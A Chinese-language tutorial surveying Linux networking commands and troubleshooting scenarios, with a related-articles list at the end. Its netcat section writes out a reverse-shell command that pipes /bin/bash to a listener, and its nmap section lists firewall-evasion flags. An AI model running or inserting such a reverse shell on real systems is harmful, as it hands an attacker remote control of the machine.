linux 网络相关命令 及常用场景

网络状态查看命令

1. ip命令(ifconfig的现代替代)
bash 复制代码
# 查看所有网络接口
ip addr show          # 或简写 ip a

# 查看特定接口
ip addr show eth0

# 查看路由表
ip route show        # 或简写 ip r

# 查看邻居缓存(ARP表)
ip neigh show

# 查看网络统计
ip -s link show eth0

# 查看所有网络命名空间
ip netns list

常用场景:

  • 查看IP地址、MAC地址

  • 诊断网络接口状态

  • 管理路由表

  • 查看ARP缓存

2. ss命令(netstat的现代替代)
bash 复制代码
# 查看所有连接
ss -tuln              # -t:TCP -u:UDP -l:监听 -n:数字显示

# 查看TCP连接
ss -tna               # 所有TCP连接
ss -t state established  # 已建立的连接

# 按进程查看
ss -tulnp             # -p:显示进程

# 查看监听端口
ss -tlnp              # 监听中的TCP端口
ss -ulnp              # 监听中的UDP端口

# 查看socket统计
ss -s                 # 汇总统计

常用场景:

  • 查看服务器监听端口

  • 排查端口占用问题

  • 监控网络连接数

  • 查看进程网络连接

3. netstat(传统但广泛使用)
bash 复制代码
# 查看所有端口
netstat -tulnp

# 查看网络接口统计
netstat -i

# 查看路由表
netstat -rn

# 查看组播组成员
netstat -g

# 持续监控
netstat -c

网络测试诊断命令

4. ping - 连通性测试
bash 复制代码
# 基本用法
ping baidu.com
ping 8.8.8.8

# 指定次数
ping -c 4 baidu.com     # 发送4个包

# 指定间隔
ping -i 2 baidu.com     # 2秒间隔

# 指定大小
ping -s 1024 baidu.com  # 1024字节包

# 快速ping(不延迟)
ping -f baidu.com       # flood模式(需要root)

# 指定TTL
ping -t 10 baidu.com    # TTL=10

常用场景:

  • 测试网络连通性

  • 测试延迟和丢包率

  • 故障排除第一步

5. traceroute - 路由追踪
bash 复制代码
# 基本用法
traceroute baidu.com

# 使用ICMP(默认UDP)
traceroute -I baidu.com

# 指定最大跳数
traceroute -m 30 baidu.com

# 指定起始端口
traceroute -p 33434 baidu.com

# 禁用反向DNS解析
traceroute -n baidu.com
6. mtr - 增强版traceroute
bash 复制代码
# 实时监控路由
mtr baidu.com

# 生成报告
mtr -r -c 10 baidu.com     # 发送10个包并生成报告

# 禁用DNS解析
mtr -n baidu.com

# CSV格式输出
mtr --csv baidu.com > report.csv

# 指定包大小
mtr -s 1400 baidu.com

常用场景:

  • 诊断网络延迟问题

  • 定位网络故障节点

  • 监控网络质量

7. dig - DNS查询
bash 复制代码
# 查询A记录
dig baidu.com
dig @8.8.8.8 baidu.com     # 指定DNS服务器

# 查询特定记录类型
dig baidu.com MX           # 邮件记录
dig baidu.com NS           # 域名服务器
dig baidu.com TXT          # 文本记录
dig baidu.com SOA          # 起始授权记录

# 反向DNS查询
dig -x 8.8.8.8

# 短格式输出
dig +short baidu.com

# 跟踪DNS解析过程
dig +trace baidu.com

# 批量查询
dig -f domains.txt
8. nslookup - DNS查询(交互式
bash 复制代码
# 交互模式
nslookup
> server 8.8.8.8          # 设置DNS服务器
> set type=MX             # 查询类型
> baidu.com               # 查询域名
> exit

# 命令行模式
nslookup baidu.com 8.8.8.8
nslookup -type=MX baidu.com
nslookup -debug baidu.com  # 调试模式

常用场景:

  • DNS故障排查

  • 验证DNS解析

  • 测试DNS服务器

网络抓包分析

9. tcpdump - 命令行抓包
bash 复制代码
# 抓取所有接口
tcpdump -i any

# 抓取特定接口
tcpdump -i eth0

# 抓取指定主机
tcpdump host 192.168.1.100

# 抓取指定端口
tcpdump port 80
tcpdump portrange 1-1024

# 抓取HTTP请求
tcpdump -i eth0 port 80 -A

# 保存到文件
tcpdump -i eth0 -w capture.pcap

# 从文件读取
tcpdump -r capture.pcap

# 抓取指定协议
tcpdump icmp
tcpdump tcp
tcpdump udp

# 复杂过滤
tcpdump -i eth0 'tcp port 80 and (tcp[tcpflags] & tcp-syn != 0)'

# 显示数据包内容(ASCII)
tcpdump -A -i eth0 port 80

# 显示数据包内容(HEX和ASCII)
tcpdump -XX -i eth0 port 80
  1. tshark - Wireshark命令行版
bash 复制代码
# 基本抓包
tshark -i eth0

# 抓取HTTP流量
tshark -i eth0 -Y http

# 显示特定字段
tshark -i eth0 -T fields -e ip.src -e ip.dst

# 保存到文件
tshark -i eth0 -w capture.pcap

# 统计协议分布
tshark -r capture.pcap -z io,phs

# 提取HTTP URL
tshark -r capture.pcap -Y http.request -T fields -e http.request.uri

常用场景:

  • 网络故障排查

  • 安全分析

  • 协议分析

  • 性能调优

网络配置管理

11. nmcli - NetworkManager命令行
bash 复制代码
# 查看连接
nmcli connection show
nmcli con show --active

# 查看设备
nmcli device status
nmcli dev show eth0

# 启用/禁用连接
nmcli con up "Wired connection 1"
nmcli con down "Wired connection 1"

# 添加连接
nmcli con add type ethernet con-name "eth0-static" ifname eth0 \
    ip4 192.168.1.100/24 gw4 192.168.1.1

# 修改连接
nmcli con mod "eth0-static" ipv4.dns "8.8.8.8 8.8.4.4"

# 重新加载配置
nmcli con reload

# 查看网络连接状态
nmcli general status
12. 配置静态IP(传统方式)
bash 复制代码
# Ubuntu/Debian (/etc/network/interfaces)
sudo vi /etc/network/interfaces

# 添加配置:
auto eth0
iface eth0 inet static
    address 192.168.1.100
    netmask 255.255.255.0
    gateway 192.168.1.1
    dns-nameservers 8.8.8.8 8.8.4.4

# 重启网络
sudo systemctl restart networking

# CentOS/RHEL (/etc/sysconfig/network-scripts/)
sudo vi /etc/sysconfig/network-scripts/ifcfg-eth0

# 配置:
TYPE=Ethernet
BOOTPROTO=static
IPADDR=192.168.1.100
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
DNS1=8.8.8.8
DNS2=8.8.4.4
ONBOOT=yes

# 重启网络
sudo systemctl restart network

网络性能测试

13. iperf3 - 带宽测试
bash 复制代码
# 服务器端
iperf3 -s                        # 默认端口5201
iperf3 -s -p 5202                # 指定端口

# 客户端测试下载
iperf3 -c server_ip
iperf3 -c server_ip -R           # 反向测试(服务器->客户端)

# 指定参数
iperf3 -c server_ip -t 30        # 测试30秒
iperf3 -c server_ip -P 4         # 4个并行连接
iperf3 -c server_ip -u -b 100M   # UDP测试,100Mbps

# 双向测试
iperf3 -c server_ip --bidir

# 输出JSON格式
iperf3 -c server_ip -J
14. speedtest-cli - 测速工具
bash 复制代码
# 安装
pip install speedtest-cli

# 简单测试
speedtest-cli

# 指定服务器
speedtest-cli --server 1234      # 服务器ID

# 无进度条输出
speedtest-cli --simple

# 分享结果
speedtest-cli --share            # 生成结果链接

# JSON输出
speedtest-cli --json

# 只下载或上传测试
speedtest-cli --no-download      # 只测试上传
speedtest-cli --no-upload        # 只测试下载
15. iftop - 实时流量监控
bash 复制代码
# 监控所有接口
iftop

# 监控特定接口
iftop -i eth0

# 显示端口号
iftop -P

# 按带宽排序
iftop -o 2s      # 按2秒平均带宽排序

# 过滤特定主机
iftop -F 192.168.1.0/24

# 不解析主机名
iftop -n
16. nethogs - 按进程监控流量
bash 复制代码
# 监控所有接口
nethogs

# 监控特定接口
nethogs eth0

# 刷新频率(秒)
nethogs -d 5

# 按流量排序
nethogs -v 1      # 0=KB/s, 1=KB, 2=MB, 3=MB/s

# 跟踪模式
nethogs -t

常用场景:

  • 带宽性能测试

  • 流量监控分析

  • 排查带宽占用问题

网络安全相关

17. nmap - 网络扫描
bash 复制代码
# 端口扫描
nmap 192.168.1.1
nmap -p 1-1000 192.168.1.1      # 指定端口范围
nmap -p 22,80,443 192.168.1.1   # 指定特定端口

# 扫描整个网段
nmap 192.168.1.0/24

# 服务版本检测
nmap -sV 192.168.1.1

# 操作系统检测
nmap -O 192.168.1.1

# 快速扫描
nmap -F 192.168.1.1

# 全端口扫描
nmap -p- 192.168.1.1

# 保存结果
nmap -oN scan.txt 192.168.1.1   # 普通文本
nmap -oX scan.xml 192.168.1.1   # XML格式
nmap -oG scan.gnmap 192.168.1.1 # grep友好格式

# 绕过防火墙
nmap -f 192.168.1.1             # 分片
nmap --data-length 100 192.168.1.1  # 添加随机数据
18. netcat (nc) - 网络瑞士军刀
bash 复制代码
# 端口扫描
nc -zv 192.168.1.1 1-1000

# 创建聊天服务器
# 服务器端:
nc -l -p 1234
# 客户端:
nc 192.168.1.1 1234

# 文件传输
# 接收端:
nc -l -p 1234 > file.txt
# 发送端:
nc 192.168.1.1 1234 < file.txt

# 反向shell
# 攻击机监听:
nc -l -p 4444
# 目标机连接:
nc 192.168.1.100 4444 -e /bin/bash

# HTTP请求
echo -e "GET / HTTP/1.1\nHost: example.com\n\n" | nc example.com 80

# UDP模式
nc -u 192.168.1.1 1234
19. openssl - SSL/TLS测试
bash 复制代码
# 测试SSL证书
openssl s_client -connect example.com:443

# 查看证书详情
openssl s_client -connect example.com:443 | openssl x509 -text

# 检查证书过期时间
openssl s_client -connect example.com:443 2>/dev/null | \
    openssl x509 -noout -dates

# 测试特定TLS版本
openssl s_client -connect example.com:443 -tls1_2
openssl s_client -connect example.com:443 -tls1_3

# 生成测试证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

实用场景案例

场景1:网站无法访问排查
bash 复制代码
# 1. 检查本地网络
ping 8.8.8.8
# 如果失败:检查网卡、网线、路由器

# 2. 检查DNS解析
nslookup example.com
dig example.com
# 如果失败:检查DNS配置

# 3. 检查目标服务器
ping example.com
traceroute example.com
# 如果失败:目标服务器或网络问题

# 4. 检查端口
nc -zv example.com 80
# 如果失败:防火墙或服务未运行

# 5. 检查HTTP响应
curl -I http://example.com
# 查看HTTP状态码
场景2:服务器端口占用排查
bash 复制代码
# 1. 查看哪个进程占用80端口
ss -tlnp | grep :80
# 或
lsof -i :80

# 2. 查看进程详情
ps aux | grep <PID>

# 3. 如果不需要,停止进程
kill <PID>
# 或强制停止
kill -9 <PID>

# 4. 检查端口监听状态
netstat -tln | grep :80
场景3:网络性能问题排查
bash 复制代码
# 1. 测试带宽
iperf3 -c iperf-server.example.com

# 2. 监控实时流量
iftop -i eth0

# 3. 查看连接数
ss -s
netstat -an | grep ESTABLISHED | wc -l

# 4. 分析网络延迟
mtr google.com

# 5. 检查网络错误
ip -s link show eth0
# 查看 errors, dropped 等计数器
场景4:防火墙规则检查
bash 复制代码
# 1. 查看iptables规则
iptables -L -n -v
iptables -t nat -L -n -v

# 2. 查看firewalld规则
firewall-cmd --list-all

# 3. 测试端口开放
telnet example.com 80
nc -zv example.com 22

# 4. 使用nmap扫描
nmap -p 22,80,443 example.com

场景5:DNS问题排查

bash 复制代码
# 1. 测试DNS解析
dig example.com
dig example.com @8.8.8.8  # 指定DNS服务器

# 2. 检查DNS配置
cat /etc/resolv.conf
systemd-resolve --status

# 3. 清空DNS缓存
# systemd-resolved
systemd-resolve --flush-caches
# nscd
nscd -i hosts

# 4. 跟踪DNS解析
dig +trace example.com

实用技巧

1. 组合命令示例
bash 复制代码
# 统计HTTP状态码
tail -f access.log | awk '{print $9}' | sort | uniq -c

# 监控TCP连接状态
watch -n 1 'ss -tan state established | wc -l'

# 查找占用带宽的IP
ss -tn | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn

# 监控网络错误
watch -n 1 'ip -s link show eth0 | grep "error\|drop"'

# 快速检查所有服务器端口
for ip in {1..254}; do nc -zv 192.168.1.$ip 22 2>&1 | grep succeeded; done
2. 调试脚本
bash 复制代码
#!/bin/bash
# 网络检查脚本
check_network() {
    echo "=== 网络诊断 ==="
    echo "1. 网卡状态:"
    ip link show | grep -E "state|mtu"
    
    echo -e "\n2. IP地址:"
    ip addr show | grep inet
    
    echo -e "\n3. 路由表:"
    ip route show
    
    echo -e "\n4. DNS配置:"
    cat /etc/resolv.conf
    
    echo -e "\n5. 端口监听:"
    ss -tlnp | head -20
}

# 运行检查
check_network
3. 性能监控脚本
bash 复制代码
#!/bin/bash
# 网络性能监控
monitor_network() {
    echo "时间,接口,接收包,接收字节,发送包,发送字节,接收错误,发送错误"
    while true; do
        timestamp=$(date '+%Y-%m-%d %H:%M:%S')
        eth0_stats=$(ip -s link show eth0 | grep -A3 "RX:" | tr '\n' ' ' | awk '{print $2,$5,$8,$11}')
        echo "$timestamp,eth0,$eth0_stats"
        sleep 5
    done
}
相关推荐
金牌归来发现妻女流落街头2 小时前
【线程池 + Socket 服务器】
java·运维·服务器·多线程
牛奶咖啡132 小时前
Linux文件快照备份工具rsnapshot的实践教程
linux·服务器·文件备份·文件快照备份·rsnapshot·定时备份本地或远程文件·查看指定命令的完整路径
大模型铲屎官2 小时前
【操作系统-Day 47】揭秘Linux文件系统基石:图解索引分配(inode)与多级索引
linux·运维·服务器·人工智能·python·操作系统·计算机组成原理
wanzhong23332 小时前
开发日记2-创建http文件测试http接口
网络·网络协议·http
乾元2 小时前
Network-as-Code:把 HCIE / CCIE 实验脚本转为企业级 CI 工程化流程
运维·网络·人工智能·安全·web安全·ai·架构
拾光Ծ2 小时前
Linux 进程控制:进程终止与等待・waitpid 选项参数与状态解析(告别僵尸进程)
linux·运维·服务器·进程控制
linux修理工2 小时前
ubuntu 2204 tsinghua
linux·运维·ubuntu
琥珀.2 小时前
查看linux下java服务进程是否正常
java·linux·运维
oMcLin2 小时前
Ubuntu 22.04 无法安装依赖包:解决 apt‑get 错误“Could not resolve”
linux·运维·ubuntu